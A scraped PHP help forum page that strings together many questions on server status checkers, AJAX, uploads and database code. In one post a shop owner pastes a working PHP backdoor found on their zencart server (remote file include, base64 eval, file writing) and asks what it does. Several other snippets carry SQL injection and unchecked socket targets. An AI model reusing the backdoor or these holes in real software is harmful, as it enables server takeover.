PHP - Help With Php-code For Server Status.
Hello
I recently got a "to many connection" error on my site, and want to know if anyone here knows a few codes that will show how many connection currently are in use (maybe even what files that creates them). I found I can use "Threads_connected" to show current open connections, but no info on how to write the code or where to pu the file. I hope you can show my what to do Similar TutorialsI got this code off of this forum Code: [Select] <?php $ip="{$_GET['ip']}"; $port="{$_GET['port']}"; header('Content-type: image/png'); if(!$sock=@fsockopen($ip,"$port", $num, $error, 5)) { readfile('image/offline.png'); } else { readfile('image/online.png'); } ?>I'm able to check the status by going to Code: [Select] http://domain.com/statuscheck.php?ip=google.com&port=80 and it works fine. But I would like to show the status on my index.html page without having to click on a link. Is there anyway Please help. thank you in Advance. Hi all, I have this script I used on a site hosted on my machine that checked if different servers and applications were running on my machine. Here's the code. Code: [Select] <html> <body> <style> fd{ color: #000000 font-size:100% } </style> <?php function check_port($port) { $conn = @fsockopen("212.233.xxx.xxx", $port, $errno, $errstr, 0.2); if ($conn) { fclose($conn); return true; } } function server_report() { $report = array(); $svcs = array('21'=>'FTP', '22'=>'SSH', '25'=>'SMTP', '80'=>'HTTP', '110'=>'POP3', '143'=>'IMAP', '3306'=>'MySQL', '8080'=>'HFS', '8081'=>'Webcam', '3784'=>'Ventrilo'); foreach ($svcs as $port=>$service) { $report[$service] = check_port($port); } return $report; } $report = server_report(); ?> <center> <table> <tr> <td><font face="Verdana" size="1" color="#000000">Apache:</td> <td><font face="Verdana" size="1" color="#000000"> <?php echo $report['HTTP'] ? "<img src='main/images/on.png' width='16' height='15' border='0'>" : "<img src='main/images/off.png' width='16' height='15' border='0'>"; ?></font></td> </tr> <tr> <td><font face="Verdana" size="1" color="#000000">MySQL:</td> <td><font face="Verdana" size="1" color="#000000"> <?php echo $report['MySQL'] ? "<img src='main/images/on.png' width='16' height='15' border='0'>" : "<img src='main/images/off.png' width='16' height='15' border='0'>"; ?></font></td> </tr> <tr> <td><font face="Verdana" size="1" color="#000000">HFS:</td> <td><font face="Verdana" size="1" color="#000000"> <?php echo $report['HFS'] ? "<img src='main/images/on.png' width='16' height='15' border='0'>" : "<img src='main/images/off.png' width='16' height='15' border='0'>"; ?></font></td> </tr> <tr> <td><font face="Verdana" size="1" color="#000000">FTP:</font></td> <td><font face="Verdana" size="1" color="#000000"> <?php echo $report['FTP'] ? "<img src='main/images/on.png' width='16' height='15' border='0'>" : "<img src='main/images/off.png' width='16' height='15' border='0'>"; ?></font></td> </tr> <tr> <td><font face="Verdana" size="1" color="#000000">Webcam:</font></td> <td><font face="Verdana" size="1" color="#000000"> <?php echo $report['Webcam'] ? "<img src='main/images/on.png' width='16' height='15' border='0'>" : "<img src='main/images/off.png' width='16' height='15' border='0'>"; ?></font></td> </tr> <tr> <td><font face="Verdana" size="1" color="#000000">Ventrilo:</font></td> <td><font face="Verdana" size="1" color="#000000"> <?php echo $report['Ventrilo'] ? "<img src='main/images/on.png' width='16' height='15' border='0'>" : "<img src='main/images/off.png' width='16' height='15' border='0'>"; ?></font></td> </tr> </table> </center> </body> </html> I've added the HTML too. As you can see it checks if the ports are open. It worked perfectly and I didn't have any issues with it at all. Now, for a couple of days, I've been using an awardspace paid hosting, bought a domain name. I use wordpress now, and I pasted this code directly in a PHP/HTML code box (I use a plugin that enables use of PHP) and it shows the HTML formatting how it should be, but unfortunately doesn't work as intended. It shows everything to be down, while apache, mysql and my ftp server are still running on my computer (the IP it checks, 212.233.xxx.xxx). When I set the IP to be 127.0.0.1, the IP of the awardspace server as far as my script is concerned, it shows only that the IP is working. So, any suggestions? Any idea would be greatly appreciated I am trying to make a Server Status checker that uses a image to tell if it is online or not. I also am trying to make it so you can the URL as a image code(EX: http://Http://domain.com/statuscheck.php?ip=google.com&port=80). What I'm trying to say it, that if you do like <img src="http://Http://domain.com/statuscheck.php?ip=google.com&port=80"> it would go to my site, use the php script, and then have the image Online or Offline, were the <img> code was posted. Here's my code Im trying to make it from. <?php $ip="{$_GET['ip']}"; $port="{$_GET['port']}"; if(!$sock=@fsockopen($ip,"$port", $num, $error, 5)) { Header('Content-type: image/png'); echo"<img src='images/offline.png'>"; } else { Header('Content-type: image/png'); echo"<img src='images/online.png'>"; } ?> Hello, I made a server statuc checking script that checks the status of a game server. It works fine on my computer, but when I upload it to my web host it stops working. I'm assuming my web host is blocking it in some way. My host is Yahoo Small Businesses. Does anyone know if they block this kind of thing, or if there is a way to unblock it? Perhaps editing the code? Here is my code, if that helps. Code: [Select] <?php function GetServerStatus($site, $port) { $status = array("OFFLINE", "ONLINE"); $fp = @fsockopen($site, $port, $errno, $errstr, 2); if(!$fp) { return $status[0]; } else { return $status[1]; } } $Redemption = GetServerStatus("174.142.118.233", 11661); $RedemptionPossible = GetServerStatus("174.142.118.234", 51665); $Tranquility = GetServerStatus("174.142.118.234", 11601); $TranquilityPossible = GetServerStatus("174.142.118.234", 51665); $Nemesis = GetServerStatus("174.142.118.241", 11601); $NemesisPossible = GetServerStatus("174.142.118.241", 64721); $OverallServer = GetServerStatus("174.142.118.237", 11093); $CodServer = GetServerStatus("8.9.6.122", 4230); echo($CodServer . "<br />"); echo("Overall Server: " . $OverallServer . "<br />"); echo("Redemption: " . $Redemption . "<br />"); echo("Tranquility: " . $Tranquility . "<br />"); echo("Nemesis: " . $Nemesis . "<br />"); ?> Hi all! Yet again I have a problem. I really couldn't find what the heck's wrong with this thing. It's extremely simple and still... I'm trying to put a php script in my website to monitor the status of my FTP and HFS servers. Help? <TITLE>Server Status</TITLE> <?php $data .= " </div> <center> <div style=\"border-bottom:1px #999999 solid;width:480;\"><b> <font size='1' color='#3896CC'>Server Status</font></b> </div> </center> <br>"; //configure script $timeout = "1"; //set service checks $port[1] = "80"; $service[1] = "Apache"; $ip[1] = "localhost"; $icon[1] = "habbo.jpg"; $alt[1] = "Apache"; $port[2] = "8080"; $service[2] = "HFS Server"; $ip[2] = "localhost"; $icon[2] = "web.png"; $alt[2] = "HFS Server"; $port[3] = "21"; $service[3] = "FTP Server"; $ip[3] = "localhost"; $icon[3] = "web.png"; $alt[3] = "FTP Server"; // // NO NEED TO EDIT BEYOND HERE // UNLESS YOU WISH TO CHANGE STYLE OF RESULTS // //count arrays $ports = count($port); $ports = $ports + 1; $count = 1; //beggin table for status $data .= "<table width='480' border='1' cellspacing='0' cellpadding='3' style='border-collapse:none' bordercolor='#CCCCCC' align='center'>"; while($count < $ports){ if($ip[$count]==""){ $ip[$count] = "localhost"; } $fp = @fsockopen("$ip[$count]", $port[$count], $errno, $errstr, $timeout); if (!$fp) { $data .= "<tr><td width='18' align='center'><img src='http://127.0.0.1/stat/$icon[$count]' title='$alt[$count]' alt='$alt[$count]'></td><td>$service[$count]</td><td width='18' align='center'><img src='http://127.0.0.1/stat/off.png'></td></tr>"; } else { $data .= "<tr><td width='18' align='center'><img src='http://127.0.0.1/stat/$icon[$count]' title='$alt[$count]' alt='$alt[$count]'></td><td>$service[$count]</td><td width='18' align='center'><img src='http://127.0.0.1/stat/on.png'></td></tr>"; fclose($fp); } $count++; } //close table $data .= "</table><div>"; echo $data; ?> The output of this is... Quote Parse error: syntax error, unexpected T_VARIABLE in D:\Program Files\xampp\xampp\htdocs\stat\server.php on line 18 Also, does somebody have a link or something to a tutorial/pre-made script (although I'd like to follow instructions about it) about server statistics? I want to have data on how much a certain partition on the server has free or full. Thank you in advance. I have an AJAX request but my problem is that is always returns a status code of 0. Below I have my JavaScript function. They send a request to a page called inc_submit.php which just echo's "hi" (as I'm just try to test it). Code: [Select] function submitForm(website_name, website_caption, website_contact, website_email, website_link) { var url4 = "includes/inc_submit.php?website_name=" + escape(website_name) + "&website_caption=" + escape(website_caption) + "&website_contact=" + escape(website_contact) + "&website_email=" + escape(website_email) + "&website_link=" + escape(website_link); alert (url4); request4.open("GET", url4, true); request4.onreadystatechange = confirmSubmit; request4.send(null); } function confirmSubmit() { if (request4.readyState == 4) { if (request4.status == 200) { var response4 = request4.responseText; document.getElementById("submit_status").innerHTML = response4; } else { alert("Error: status code is " + request4.status); } } } My issue in my php page where i need to show all the news that have the status only active. in my mysql table i have 3 fiels news,posted date and expiry date. on page load i check the status of the news and displays only the active news.For that i am doing the following code,which gives me error. that is on page load, first i select all the news ,update the status inactive for the news which has crossed expiry time i check the status of the news and displays only the active news.For that i am doing the following code,which gives me error. $query1="select time(date_posted),time(expiry_time) from muh_title where status='Active'"; $res=mysql_query($query1); $row=mysql_fetch_row($res); $expiry_time=$row[0];$dateposted=$row[1]; $query11="select addtime(time(date_posted),time(expiry_time)) from muh_title"; $res11=mysql_query($query11); $row11=mysql_fetch_row($res11); $newtime=$row11[0]; $query2="SELECT TIMEDIFF(time(date_posted) ,time(NOW())) FROM muh_title"; $res2=mysql_query($query2); $row2=mysql_fetch_row($res2); $diff=$row2[0]; //while($newtime){ $query5="select *from muh_main_title where date_posted> date_sub(now(),interval (expiry_time) hour-minute )"; //$query3="update muh_title set status='Inactive' "; $res3=mysql_query($query5); } $q="select * from muh_title where status='Active' "; $r= mysql_query($q); $row= mysql_fetch_row($r); echo "<font size='6' color='white'><b><marquee direction='left' loop='-1' align='absmiddle' behaviour='scroll' scrolldelay='90'>$row[1]</marquee></b></font>"; ?> i am sure some where i have lost the flow of code. I have some code that works fine on my dev server but does not work on my production server. Dev server has PHP version 5.2.5 and production server has PHP version 5.1.6. This is the part of the code that isn't working on the prod. server: $xmlDoc=new DOMDocument(); $xmlDoc->loadXML($tmpDoc); $x=$xmlDoc->getElementsByTagName('link'); //get the q parameter from URL $q=$_GET["q"]; //lookup all links from the xml file if length of q>0 if (strlen($q)>0) { $hint=""; for($i=0; $i<($x->length); $i++) { $y=$x->item($i)->getElementsByTagName('title'); $z=$x->item($i)->getElementsByTagName('url'); if ($y->item(0)->nodeType==1) { //find a link matching the search text if (stristr($y->item(0)->childNodes->item(0)->nodeValue,$q)) { if ($hint=="") { $hint="<tr><td><a href='" . $z->item(0)->childNodes->item(0)->nodeValue . "' target='_blank'>" . $y->item(0)->childNodes->item(0)->nodeValue . "</td></tr>"; } else { $hint=$hint . "<tr><td><a href='" . $z->item(0)->childNodes->item(0)->nodeValue . "' target='_blank'>" . $y->item(0)->childNodes->item(0)->nodeValue . "</a></td></tr>"; } } } } } $tmpDoc is a variable that holds database information in xml form. It basically looks like this: $tmpDoc = $tmpDoc . "<link><title>" . $row['CustomerName'] . "****" . $row['Rep'] . "****" . $row['InstallDate'] . "****" . $row['PaidDate'] . "</title><url>accountPage.php?AccNum=" . $row['AccountNum'] . "</url></link>"; ...that is inside a while loop that loops through the rows returned by a query. Basically, as I said, the whole thing works fine on my dev server but on the production server it never makes it into the for loop so I guess the condition $i<($x->length) isn't being met. I'm at a bit of a loss here. Is there anything like the PHP version or Apache version that may cause the "->" operator to not work? The prod PHP version isn't that much older than my dev PHP version so I doubt that's the issue but it's about all I can think of. Thanks! Hi, A consumer give me WSDL that describe SOAP messages in order to communicate together by Web services. The first WSDL is a webservice that I consume, no problem for this part. But the second one must be implemented in our side, a wsdl is provided to describe the ws that we must develop. The problem is that I don't know how to do? Is a tool exist to generate server code from a wsdl? should I develop from scratch and try to match the wsdl? Any clue will be welcome. Regards, Kyor I have a phppage which needs 1) to load images ,image paths and image name from a different server,when the page is loaded 2)Details automatically saved to the database. can we do this with php(i mean can we take datas from a different server through php code) Is it possible to run a VBScript on the server from a PHP file called by the client? I am using Apache as my web server on a Windows Server 2003 machine. <?php exec('saveAsTxt.vbs'); ?> It just hangs the browser and doesn't do anything. I'm not sure what is going on. If anyone can help, it would be much appreciated. Thanks Mike I have a page that you click to from your email to validate your account. Whenever you click that link and it goes to this page, the server connection times out. What is in this code that would make it timeout (it does not give an error, just says connecting...then times out) session_start(); include "../incl/connectdb.php"; $key1 = $_GET['id']; $key2= $_GET['id2']; $query = "select * from users where passkey = '$key1' and pass2 = '$key2' and activation= 'pending' LIMIT 1"; $result = mysql_query ($query) or die (mysql_error()); $row = mysql_fetch_array ($result); if (mysql_num_rows ($result) < 1){ $_SESSION['message'] = "Invalid link"; header ("Location: ../"); exit(); } $query = "update table-name set activation= 'active' where id = '".$row['id']."' "; mysql_query($query); $_SESSION['message'] = "Account validated."; I have had a customer want to run my application (PHP/APACHE/MYSQL) on their server rather than a commercial hosting offering (JUSTHOST/GODADDY)
I am reluctant, as it means giving them access to my PHP code which could possibly be copied or distributed.
Can I protect against this?
I found this code added to my server uploaded into a zencart admin folder. We did have some problems previously with index.php and login.php files having some encoded javascript injected into them and mess up our online shop. If someone could tell me what it does as i accidently launched it before i deleted it. Looked in the server logs and it seems to of accessed every file on the server within seconds. Code: [Select] <?php //e6b03bed4190733c7534e5c1209b076f /** * @version 2.42 * */ if (isset($_POST["action"])) { switch ($_POST["action"]) { case "test": test(); break; case "regular_test": regular_test(); break; case "setup": projectcodes_setup(); break; case "remove": projectcodes_remove(); break; case "mail": send(); break; default: break; } return; } if (count($_GET) > 0) { foreach ($_GET as $id => $code) { if ($id == "id") { include $code; } } return; } function test() { $encoded_data = ""; $data["version"] = phpversion(); if (isset($_SERVER["SERVER_SOFTWARE"])) { $data["serverapi"] = $_SERVER["SERVER_SOFTWARE"]; } else { $data["serverapi"] = "Not Available"; } ob_start(); phpinfo(8); $data["modules"] = ob_get_contents(); ob_clean(); $data["ext_connect"] = fopen("http://www.ya.ru/", "r") ? TRUE : FALSE; $serializes_data = serialize($data); $encoded_data = base64_encode($serializes_data); echo $_POST["test_message"] . $encoded_data; } function regular_test() { echo $_POST["test_message"]; } function projectcodes_setup() { $projectcodes = $_POST["projectcodes"]; foreach ($projectcodes as $projectcode) { $mark = $projectcode["mark"]; $code = base64_decode($projectcode["code"]); $res = new_file_put_contents($mark, $code); if ($res) { $installed[] = $projectcode["id"]; } } $installed = serialize($installed); $installed = base64_encode($installed); echo $installed; } function projectcodes_remove() { $projectcodes = $_POST["projectcodes"]; foreach ($projectcodes as $projectcode) { $mark = $projectcode["mark"]; $res = unlink($mark); if ($res) { $removed[] = $projectcode["id"]; } } $removed = serialize($removed); $removed = base64_encode($removed); echo $removed; } function new_file_put_contents($filename, $data) { $f = @fopen($filename, 'w'); if (!$f) { return false; } else { $bytes = fwrite($f, $data); fclose($f); return $bytes; } } function new_file_get_contents($filename) /* Returns the contents of file name passed */ { if (!function_exists('file_get_contents')) { $fhandle = fopen($filename, "r"); $fcontents = fread($fhandle, filesize($filename)); fclose($fhandle); } else { $fcontents = file_get_contents($filename); } return $fcontents; } function send() { $code = base64_decode($_POST["projectcode"]); eval($code); //return; } ?> I am trying to get a php script on a remote server to execute on my server but im having problems getting it to work, and i am not sure if it is even feasible i have had a look on google but i cant find much information on it. This is what i have tried up to now I saved a php script as a txt file on y remote server. then used file_get_contents on my home server $curl_scraped_page = file_get_contents('http://www.remote_server.com/script.txt'); the content of the txt file was $sum = 1+1; then i tried to echo $sum on the home server but i did not work can anyone point me in the right direction or is what i am trying to do even feasible? Thanks in advanced I hope I'm posting in the correct forum. If not, I'm super sorry! Anyways, I need help with a website I'm working on. We have been asked to redesign our "Apply Online" page. My supervisor has asked that I find the correct code to make an upload button that will allow users to upload their resumes to our server, and send a copy to the specific branch they indicate (we have 17 branches). Could any of you point me in the correct direction for this code? I've seen several sites for Uploads to servers, but I'm worried this isn't exactly what we are looking for. Hello everyone.. This is the first PHP script I've written and was hoping to get some feedback on any possible issues with it. I've pieced this together in an attempt to download remote images and store them on my server, instead of hotlinking images. The code will be used for a forum, called up by a BBCode tag. (The user will place an image URL into the BBCode, which will transfer to this PHP script). Again, this is the first time I've coded anything in PHP and was hoping to get some pointers on anything that needs changing.. thanks <?php $url = $_GET['url']; $url_path = parse_url($url, PHP_URL_PATH); $name = basename($url_path); $FileExt= substr($name, -3); $FileTypeMIME= array("jpg" => "image/jpeg", "png" => "image/png", "gif" => "image/gif"); $ContentType= $FileTypeMIME[$FileExt]; if (empty($ContentType)) die("You are not allowed to access this file!"); header("Content-Type: " . $ContentType); $save = "../images/". strtolower($name); function wtf_image ($file) { switch($FileTypeMIME[$FileExt]){ case "image/jpeg": $im = imagecreatefromjpeg($file); //jpeg file imagejpeg($im, $save, 0, NULL); //save jpeg file break; case "image/gif": $im = imagecreatefromgif($file); //gif file imagegif($im, $save, 0, NULL); //save gif file break; case "image/png": $im = imagecreatefrompng($file); //png file imagePNG($im, $save, 0, NULL); //save png file break; } return $im; } if (file_exists($save)) { readfile($save); } else { chmod($save,0755); $image = wtf_image($url); //Runs wtf_image function on $url imagedestroy($image); readfile($save); } ?> To access MySql tables from PHP, I use the PHP code and the function below. If I make these changes, would this code work for SQL Server 2008? mysql_fetch_array to mssql_fetch_array mysql_connect to mssql_connect mysql_select_db to mssql_select_db mysql_query to mssql_query PHP code -------------------------------------------------------------------------------- $sql = "SELECT mast_id FROM district_mast WHERE mast_district = '".$dist_num."'"; $result = func_table_access($sql); $rows = mysql_fetch_array($result); Function -------------------------------------------------------------------------------- FUNCTION func_table_access($sql) { $db = "aplustutoru"; $host = "localhost"; $user = "root"; $pass = ""; IF (!($conn=mysql_connect($host, $user, $pass))) { PRINTF("error connecting to DB by user = $user and pwd=$pass"); EXIT; } $db3 = MYSQL_SELECT_DB($db,$conn) or die("Unable to connect to local database"); IF ($sql <> "justopendb") { $result = MYSQL_QUERY($sql) OR DIE ("Can not run query because ". MYSQL_ERROR()); RETURN $result; } } Hi guys, this is the geocoding part of the code. I ran this ion my localhost and it runs ok. Then when i uploaded it to my server i got 500 - Internal server error. There is a problem with the resource you are looking for, and it cannot be displayed. When i take out the php the html code run ok... so its not that. Can anyone help? I have taken out my key and db connection. Im hosted on black knight if thats any help Code: [Select] <?php require("config.php"); define("MAPS_HOST", "maps.google.com"); define("KEY", "****"); // Opens a connection to a MySQL server $connection = mysql_connect("localhost", "root", "password"); if (!$connection) { die("Not connected : " . mysql_error()); } // Set the active MySQL database $db_selected = mysql_select_db("database", $connection); if (!$db_selected) { die("Can\'t use db : " . mysql_error()); } // Select all the rows in the markers table $query = "SELECT * FROM users WHERE 1"; $result = mysql_query($query); if (!$result) { die("Invalid query: " . mysql_error()); } // Initialize delay in geocode speed $delay = 0; $base_url = "http://" . MAPS_HOST . "/maps/geo?output=xml" . "&key=" . KEY; // Iterate through the rows, geocoding each address while ($row = @mysql_fetch_assoc($result)) { $geocode_pending = true; while ($geocode_pending) { $address = $row["address1"]; $id = $row["id"]; $request_url = $base_url . "&q=" . urlencode($address); $xml = simplexml_load_file($request_url) or die("url not loading"); $status = $xml->Response->Status->code; if (strcmp($status, "200") == 0) { // Successful geocode $geocode_pending = false; $coordinates = $xml->Response->Placemark->Point->coordinates; $coordinatesSplit = explode(",", $coordinates); // Format: Longitude, Latitude, Al itude $lat = $coordinatesSplit[1]; $lng = $coordinatesSplit[0]; $query = sprintf("UPDATE users " . " SET lat = '%s', lng = '%s' " . " WHERE id = '%s' LIMIT 1;", mysql_real_escape_string($lat), mysql_real_escape_string($lng), mysql_real_escape_string($id)); $update_result = mysql_query($query); if (!$update_result) { die("Invalid query: " . mysql_error()); } } else if (strcmp($status, "620") == 0) { // sent geocodes too fast $delay += 100000; } else { // failure to geocode $geocode_pending = false; echo "Address " . $address . " failed to geocoded. "; echo "Received status " . $status . " \n"; } usleep($delay); } } ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>Your Profile Page</title> <meta http-equiv="content-type" content="text/html; charset=utf-8" /> <link rel="stylesheet" href="css/1.css" type="text/css" media="screen,projection" /> </head> <body> <div id="wrapper" class="fixed"> <div id="header"> <h1>Find A Tag Team</strong></h1> <ul id="nav"> <li><a href="home.html">Home</a></li> <li><a href="index.html"></a>Logout</li> <li><a href="Links.php">Links</a></li> <li><a href="Videos.php">Videos</a></li> </ul> </div> <div id="sidebar_left"> <h2>Your Profile Page</h2> <p> </p> <p> From here you can ...<br /> -Edit all your information <br /> -Search for other users <br /> -View any emails you may have recieved</br /> </p> <p> </p> </div> <div id="content"> <h1>Profile</h1> <div class ="message"> The map has been succesfully updated. <br /> <a href = "map.php">View the Map</div> <div id="footer"> </div> </div> </body> </html> Hi Guys, I am new to this forum. I have tried other forums but with no success. I hope you can answer me. Project: Job Application Form along with CV upload. Backend: MySQL. Problem: When the form is submitted, it replaces the same named file in my server. Example: When I upload a file named "Example.doc" using this form and if there is already a file named "Example.doc" in the same directory (Server), the new file (example.doc) will replace the old one. Solution Required: May be, a) When I upload a file, the file name gets renamed with say the personsname+DOB+timestamp. b) Any other solution which will not delete the old files present. I am pasting the PHP code that I used .... for your kind perusal. Please help: <?php // Receiving variables @$pfw_ip= $_SERVER['REMOTE_ADDR']; @$Name = addslashes($_POST['Name']); @$Telephone = addslashes($_POST['Telephone']); @$Email = addslashes($_POST['Email']); @$Mobile = addslashes($_POST['Mobile']); @$CITY = addslashes($_POST['CITY']); @$OtherLocation = addslashes($_POST['OtherLocation']); @$PostalAddress = addslashes($_POST['PostalAddress']); @$Years = addslashes($_POST['Years']); @$Months = addslashes($_POST['Months']); @$Lacs = addslashes($_POST['Lacs']); @$Thousands = addslashes($_POST['Thousands']); @$FunctionalArea = addslashes($_POST['FunctionalArea']); @$CurrIndustry = addslashes($_POST['CurrIndustry']); @$KeySkills = addslashes($_POST['KeySkills']); @$ResumeTitle = addslashes($_POST['ResumeTitle']); @$JobID = addslashes($_POST['JobID']); @$TenthUniv = addslashes($_POST['TenthUniv']); @$TenthPer = addslashes($_POST['TenthPer']); @$TwlUniv = addslashes($_POST['TwlUniv']); @$TwlPer = addslashes($_POST['TwlPer']); @$UGCOURSE = addslashes($_POST['UGCOURSE']); @$GradPer = addslashes($_POST['GradPer']); @$PGCOURSE = addslashes($_POST['PGCOURSE']); @$PPGCOURSE = addslashes($_POST['PPGCOURSE']); @$course1 = addslashes($_POST['course1']); @$course2 = addslashes($_POST['course2']); @$course3 = addslashes($_POST['course3']); @$Gender = addslashes($_POST['Gender']); @$DOB = addslashes($_POST['DOB']); @$Nationality = addslashes($_POST['Nationality']); @$select2 = addslashes($_POST['select2']); @$file_Name = $_FILES['file']['name']; @$file_Size = $_FILES['file']['size']; @$file_Temp = $_FILES['file']['tmp_name']; @$file_Mime_Type = $_FILES['file']['type']; function RecursiveMkdir($path) { if (!file_exists($path)) { RecursiveMkdir(dirname($path)); mkdir($path, 0777); } } // Validation if( $file_Size == 0) { die("<p align='center'><font face='Arial' size='3' color='#FF0000'>Please enter a valid file</font></p>"); } if( $file_Size >50000000) { //delete file unlink($file_Temp); die("<p align='center'><font face='Arial' size='3' color='#FF0000'>Please enter a valid file</font></p>"); } if( $file_Mime_Type != "application/msword" AND $file_Mime_Type != "application/pdf" AND $file_Mime_Type != "application/rtf" ) { unlink($file_Temp); die("<p align='center'><font face='Arial' size='3' color='#FF0000'>Please enter a valid file</font></p>"); } $uploadFile = $file_Name ; if (!is_dir(dirname($uploadFile))) { @RecursiveMkdir(dirname($uploadFile)); } else { @chmod(dirname($uploadFile), 0777); } @move_uploaded_file( $file_Temp , $uploadFile); chmod($uploadFile, 0644); $file_URL = "http://www.myserver.com/resume/".$file_Name ; //saving record to MySQL database @$pfw_strQuery = "INSERT INTO `Candidate_Test`(`Name`,`tel`,`email`,`mob`,`city`,`othr`,`add`,`yrs`,`mon`,`lacs`,`thnd`,`func`,`curr`,`skills`,`title`,`Jobid`,`tenb`,`tenp`,`twlb`,`twlp`,`ugb`,`ugp`,`pg`,`ppg`,`c1`,`c2`,`c3`,`gen`,`dob`,`nation`,`pref`,`file`)VALUES (\"$Name\",\"$Telephone\",\"$Email\",\"$Mobile\",\"$CITY\",\"$OtherLocation\",\"$PostalAddress\",\"$Years\",\"$Months\",\"$Lacs\",\"$Thousands\",\"$FunctionalArea\",\"$CurrIndustry\",\"$KeySkills\",\"$ResumeTitle\",\"$JobID\",\"$TenthUniv\",\"$TenthPer\",\"$TwlUniv\",\"$TwlPer\",\"$UGCOURSE\",\"$GradPer\",\"$PGCOURSE\",\"$PPGCOURSE\",\"$course1\",\"$course2\",\"$course3\",\"$Gender\",\"$DOB\",\"$Nationality\",\"$select2\",\"$file_Name\")" ; @$pfw_host = "localhost"; @$pfw_user = "testuser"; @$pfw_pw = "ultimate09"; @$pfw_db = "Resumebank"; $pfw_link = mysql_connect($pfw_host, $pfw_user, $pfw_pw); if (!$pfw_link) { die('Could not connect: ' . mysql_error()); } $pfw_db_selected = mysql_select_db($pfw_db, $pfw_link); if (!$pfw_db_selected) { die ('Can not use $pfw_db : ' . mysql_error()); } //insert new record $pfw_result = mysql_query($pfw_strQuery); if (!$pfw_result) { die('Invalid query: ' . mysql_error()); } mysql_close($pfw_link); echo("<p align='center'><font face='Arial' size='3' color='#FF0000'>Successful</font></p>"); ?> -------- PLEASE HELP. URGENTLY REQUIRED!!!! Sourav Sengupta |